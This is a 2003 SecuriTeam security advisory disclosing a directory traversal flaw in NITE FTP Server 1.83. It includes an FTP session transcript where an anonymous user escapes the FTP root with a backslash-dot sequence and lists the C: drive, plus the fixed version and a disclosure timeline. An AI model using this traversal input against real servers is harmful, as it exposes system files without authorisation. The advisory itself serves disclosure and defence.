

[NT] Directory Traversal Vulnerabilities Found in NITE FTP Server

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0048.html>

From: support@securiteam.com

Date: 01/18/03

From: support@securiteam.com

To: list@securiteam.com

Date: 19 Jan 2003 00:35:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Directory Traversal Vulnerabilities Found in NITE FTP Server

SUMMARY

The <<http://home.knuut.de/Turtie/>> NiteServer is a simple FTP-Server program with some special features. It is free and easy to use. A directory traversal vulnerability was found in the product in multiple places.

DETAILS

Vulnerable systems:

- * NITE ftp-server version 1.83

Immune systems:

- * NiteServer version 1.85

A directory traversal vulnerability in the product allows remote attackers to cause the server to traverse into directories that reside outside the bounding FTP root directory.

NiteServer's failure to filter out "\" sequences in command requests allows remote users to break out of restricted directories and gain read access to the system directory structure.

Securiteam: [NT] Directory Traversal Vulnerabilities Found in NITE FTP Server

The following transcript demonstrates a sample exploitation of the vulnerabilities:

```
Connected to 192.168.1.22.
220- Niteserver Version:1.83
220- Author:Thomas Krebs
220- email: turtie@knuut.de
220- Welcome to the Niteserver
220- First Author:Thomas Krebs!
220-
220
User (192.168.1.22:(none)): anonymous
331 User anonymous accepted, send password.....
Password:
230 User anonymous accepted, ok come on.....
ftp> ls
200 PORT command ok....
257 "c:/ftpd/data" is working directory...c:\ftpd\data
ftp> cd /
250 Directory changed to"c:\ftpd\data" .
ftp> cd ..
250 Directory changed to"c:\ftpd\data" .
ftp> cd \..\.\
250 Directory changed to"c:\" .
ftp> ls
200 PORT command ok....
257 "c:/" is working directory...c:\
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 AUTOEXEC.BAT
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 CONFIG.SYS
drwxr-xr-x 1 User Group 0 Dec 23 12:25 I386
drwxr-xr-x 1 User Group 0 Dec 23 22:22 Inetpub
drwxr-xr-x 1 User Group 0 Dec 23 21:49
Installationsfiler
til Windows Update
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 IO.SYS
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 MSDOS.SYS
drwxr-xr-x 1 User Group 0 Dec 23 21:25 Multimedia Files
-rwxr-xr-x 1 User Group 26816 Dec 23 22:30 NTDETECT.COM
-rwxr-xr-x 1 User Group 156496 Dec 23 22:30 ntldr
drwxr-xr-x 1 User Group 0 Dec 23 12:36 OptionPack
-rwxr-xr-x 1 User Group 134217728 Dec 30 15:24 pagefile.sys
drwxr-xr-x 1 User Group 0 Dec 30 15:19 Program Files
drwxr-xr-x 1 User Group 0 Dec 23 12:24 RECYCLER
drwxr-xr-x 1 User Group 0 Dec 24 00:08 TEMP
drwxr-xr-x 1 User Group 0 Dec 30 16:30 WINNT
226 Listing complete.
ftp: 1181 bytes received in 0,12Seconds 9,76Kbytes/sec.
ftp> bye
221 Goodbye.
```

Securiteam: [NT] Directory Traversal Vulnerabilities Found in NITE FTP Server

Vendor response:

NiteServer version 1.85 fixes this issue. The latest version is available from <<http://come.to/niteserversite>> <http://come.to/niteserversite>.

Disclosure timeline:

12/12/2002 Found the Vulnerability.

12/12/2002 Author notified (turtie@knuut.de)

01/13/2003 No Responses received from turtie@knuut.de

01/13/2003 Public Disclosure.

ADDITIONAL INFORMATION

The vulnerability was discovered by <<mailto:matrix@infowarfare.dk>> Dennis Rand.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.